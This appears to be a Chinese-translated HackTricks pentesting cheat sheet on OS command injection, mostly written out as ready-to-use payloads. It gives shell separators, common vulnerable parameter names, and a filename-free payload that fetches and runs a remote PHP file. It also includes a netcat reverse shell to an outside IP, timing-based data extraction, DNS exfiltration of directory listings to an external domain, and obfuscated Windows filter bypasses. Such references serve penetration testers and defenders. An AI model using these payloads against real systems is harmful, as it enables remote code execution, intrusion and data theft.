hacktricks/pentesting-web/command-injection.md

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命令注入

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

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什么是命令注入?

命令注入允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能会被完全破坏。通常,执行这些命令允许攻击者未经授权地访问或控制应用程序环境和底层系统。

上下文

根据您的输入被注入的位置,您可能需要在命令之前终止引用的上下文(使用"')。

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

限制绕过

如果您正在尝试在Linux机器内执行任意命令,您可能会对阅读有关此绕过感兴趣:

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

示例

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

参数

以下是可能容易受到代码注入和类似RCE漏洞影响的前25个参数来自链接

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

基于时间的数据泄露

提取数据:逐个字符

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

基于 DNS 的数据渗透

基于来自 https://github.com/HoLyVieR/dnsbin 的工具,也托管在 dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

在线工具检查基于DNS的数据渗透

  • dnsbin.zhack.ca
  • pingb.in

过滤绕过

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

References

从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式


使用Trickest轻松构建和自动化工作流程,由全球最先进的社区工具驱动。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}